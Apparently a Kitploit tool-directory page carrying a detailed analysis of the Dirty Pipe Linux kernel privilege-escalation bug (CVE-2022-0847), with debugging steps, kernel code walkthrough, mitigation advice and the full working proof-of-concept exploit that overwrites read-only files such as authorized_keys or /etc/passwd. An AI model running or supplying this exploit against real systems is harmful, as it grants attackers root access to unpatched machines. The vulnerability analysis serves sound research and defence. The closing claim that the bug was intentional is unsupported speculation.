Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-0847 — Proof-of-concept exploit and detailed analysis of CVE-2022-0847 (Dirty Pipe) Linux kernel privilege escalation vulnerability, including Docker environment for testing and debugging. | Kitploit
Tools/GitHubGitHub/chenaotian/cve-2022-0847
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubchenaotian/cve-2022-0847

CVE-2022-0847

Proof-of-concept exploit and detailed analysis of CVE-2022-0847 (Dirty Pipe) Linux kernel privilege escalation vulnerability, including Docker environment for testing and debugging.

View Repository
257544 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-0847 Dirty Pipe Linux Kernel Privilege Escalation Analysis

[toc]

This article was first published on Huawei Security's official account, this is the blog version (more complete)

First published link: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

Vulnerability Introduction

Vulnerability ID: CVE-2022-0847 (Alias: dirty pipe)

Vulnerable product: linux kernel - splice syscall

Affected versions: Linux 5.8 patch f6dd975583bd introduced ~ 5.16.11, 5.15.25, 5.10.102 fixed

Hazard: Write content not exceeding one page to any readable file (sufficient), can be used for local privilege escalation.

Environment Setup

Vulnerability analysis docker: chenaotian/cve-2022-0847 (If still inaccessible, then I haven't uploaded it yet)

Provides:

  • Compiled vulnerable debuggable kernel 5.13
  • qemu, gdb, linux kernel 5.13 source code
  • exp

Start:

root@kitploit:~
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

Debug:

root@kitploit:~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Vulnerability Principle

The brief principle of the vulnerability is that calling the splice function can send a file to the pipe in a "zero-copy" manner. The zero-copy at the code level directly uses the file cache page (page cache) as the buf page of the pipe. However, this introduces an uninitialized variable vulnerability, causing the file cache page to be treated as a normal pipe cache page in subsequent pipe channels and thus "overwritten" and modified. In this case, the kernel does not mark this cache page as "dirty", and it will not be flushed to disk in the short term (until the next reboot or similar). During this period, all scenarios accessing the file will use the modified file cache page, achieving a "temporary arbitrary write to any readable file" operation. This can complete local privilege escalation.

Vulnerability Trigger Point

According to the patch, the vulnerability trigger point is in the copy_page_to_iter_pipe function, which adds an initialization operation for buf->flags, so this is an uninitialized variable vulnerability.

image-20220308170149137

The call point of copy_page_to_iter_pipe appears in the splice system call. The splice function (system call) transports file content into the pipe through a "zero-copy" method. Compared to the traditional method of directly sending file content into the pipe, performance is better. Details are introduced below.

Pipe Principle and pipe_write

First, the vulnerability alias is dirty pipe, so let's first understand the pipe. pipe is a communication channel provided by the kernel, created by the pipe/pipe2 function, returning two file descriptors, one for sending data and the other for receiving data, similar to the two ends of a pipe. The specific usage is not elaborated.

image-20220309124007780

Briefly talk about the implementation in the kernel. Usually, the total length of the pipe cache space is 65536 bytes, managed in the form of pages, a total of 16 pages (one page is 4096 bytes). The pages are not contiguous but managed through an array, forming a circular linked list. Two linked list pointers are maintained, one for writing (pipe->head) and one for reading (pipe->tail). Here we mainly analyze the pipe_write function:

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1] If the pipe cache is not empty, try to write "continuously" from the current last page
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2] Key: if the PIPE_BUF_FLAG_CAN_MERGE flag exists, it means this page allows continuous writing
             * If the write length does not cross a page, continue writing; otherwise start a new page */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3] If the previous page cannot be written continuously, start a new page
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4] Allocate a new page
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5] Put the newly allocated page into the page array
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6] Set flag, default PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7] Copy operation
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. If the current pipe is not empty (head==tail indicates an empty pipe), it means there is unread data in the pipe. Then get the head pointer, which points to the latest page used for writing, check the len and offset of that page (to find the end of data), and try to continue writing on the current page.
  2. Determine whether the current page has the PIPE_BUF_FLAG_CAN_MERGE flag; if not, continuous writing on the current page is not allowed. Or if the written data appended to the previous data exceeds one page (i.e., the write operation crosses a page), if it crosses a page, continuous writing is not possible.
  3. If continuous writing on the previous page is not possible, start a new page.
  4. alloc_page allocates a new page.
  5. Place the new page at the front of the array (may replace the existing page), initialize values.
  6. buf->flag is initialized to PIPE_BUF_FLAG_CAN_MERGE by default, because the default state allows the page to be written continuously.
  7. Copy the written data, repeat the above if not finished.

The key to exploitation is the uninitialized PIPE_BUF_FLAG_CAN_MERGE flag in splice, which determines whether we can continue writing on a "not fully written" pipe page.

splice to copy_page_to_iter_pipe

As mentioned above, the pipe manages 16 pages as cache. The zero-copy method of splice is to directly replace the cache pages in pipe with the file cache pages (change the pipe cache page pointer to point to the file cache page).

image-20220309124515813

The call stack from the splice system call to the vulnerable function copy_page_to_iter_pipe is deep and will not be analyzed in detail. The call stack is as follows:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read(in->f_op->splice_read default is generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

The main work of the vulnerable copy_page_to_iter_pipe function is to point the pipe cache page structure to the file cache page of the file to be transferred:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1] Get the corresponding pipe cache page
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2] Modify the pipe cache page info to point to the file cache page
	get_page(page);
	buf->page = page;//[2] Page pointer points to the file cache page
	buf->offset = offset;//[2] Set offset and len to current info (determined by splice parameters)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. First, according to the circular structure of the pipe page array, find the current write pointer (pipe->head) position.
  2. Point the page to be written to the prepared file cache page, and set other info, such as len determined by the parameters passed to the splice system call. The only thing not initialized here is the flag, causing the vulnerability.

After general initialization, pipe->bufs looks like this:

image-20220308165052936

Now, according to the previously analyzed pipe_write code, if pipe_write is called again to write data to the pipe, the write pointer (pipe->head) points to the page in the figure above, and the flag is PIPE_BUF_FLAG_CAN_MERGE, so it will consider that writing can continue on that page, as long as the write length does not cross a page:

root@kitploit:~
#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1] If the pipe cache is not empty, try to write "continuously" from the current last page
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2] Key: if the PIPE_BUF_FLAG_CAN_MERGE flag exists, it means this page allows continuous writing
                 * If the write length does not cross a page, continue writing; otherwise start a new page */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

Linux Kernel page cache Mechanism

The Linux kernel maps opened files into cache pages. The cache pages are retained for a period of time after use to avoid unnecessary I/O operations. Within a short time, all accesses to the same file will operate on the same file cache page, rather than repeatedly opening it. By tampering with this file cache page through this method, all operations that access (read) the file within a short time will read the tampered file cache page, completing exploitation.

Exploitation

As described above, the exploitation process is very simple. Once you understand the vulnerability principle, you can exploit it. According to the author's operation, it roughly consists of the following steps:

  1. Create a pipe.
  2. Fill the pipe completely (via pipe_write), so that all buf (pipe cache pages) are initialized, and the flag is initialized to PIPE_BUF_FLAG_CAN_MERGE by default.
  3. Drain the pipe (via pipe_read), so that when the splice system call transfers the file later, it will use the previously initialized buf structure.
  4. Call the splice function to transfer the file to be tampered with into the pipe.
  5. Continue writing content into the pipe (pipe_write), which will overwrite the file cache page, completing temporary file tampering.

Detailed Debugging

After the second step, after the pipe is filled and then emptied, you can see that the bufs structure contains data to be reused for the next uninitialized content:

root@kitploit:~
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

image-20220308173705037

After splice transfers the file, it becomes as follows, where flag is not initialized, and here len should be set as small as possible, because the smaller it is, the longer the length we can write when "continuing to write" later. Here it is set to 1, and the offset is the starting address we want to tamper with. Here, pipe->bufs->page pointer will point to the starting address:

root@kitploit:~
splice(fd, &offset, p[1], NULL, 1, 0);

image-20220308165052936

After another pipe_write, the condition for continuous writing is satisfied, and writing directly continues on the page:

image-20220308174556226

exp

Not written by me, from the vulnerability disclosure:

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

Successful privilege escalation:

root@kitploit:~
gcc exp.c -o exp --static
./exp file offset string

image-20220308172336511

Currently, it demonstrates the effect of arbitrary file writing. Specific exploitation can modify /etc/passwd, or ssh keys, or some suid files to complete actual privilege escalation. I won't actually operate here (since I'm not doing penetration anyway).

Some Minor Limitations (Not Significant)

  1. Cannot change file size (cannot make the file larger).
  2. Single write length cannot exceed one page (4k).

Mitigation Measures

Recommended Solution

Since it is a kernel vulnerability, there is no good solution for now. It is recommended to upgrade the kernel to the fixed version: 5.16.11, 5.15.25, 5.10.102 or above.

Vulnerability Verification (Tool)

Based on the POC released by the vulnerability discloser, I wrote a simple verification tool. If vulnerable, it outputs "There is CVE-2022-0847":

image-20220308202244668

If not vulnerable, it outputs "You are safe!".

References

Vulnerability disclosure: https://dirtypipe.cm4all.com/

Conspiracy Theory

The PIPE_BUF_FLAG_CAN_MERGE flag appears a total of 5 times: once in #define declaration, twice in pipe_write. The remaining two times are in splice:

image-20220308211006312

And from the code involving this variable, its meaning is whether to allow continuous writing in the current latest pipe cache page. Generally, if a page is allocated by the pipe itself, it's just a normal page, and continuous writing is normal. The situation where continuous writing is not allowed is when the page is not allocated by the pipe itself, and you cannot modify it arbitrarily. Therefore, from the current situation, almost only splice involves pages that are not allocated by the pipe itself. In other words, the PIPE_BUF_FLAG_CAN_MERGE flag is designed for splice. And you're telling me it's not initialized?

So I suspect this vulnerability is not a careless mistake at all...

Download Tool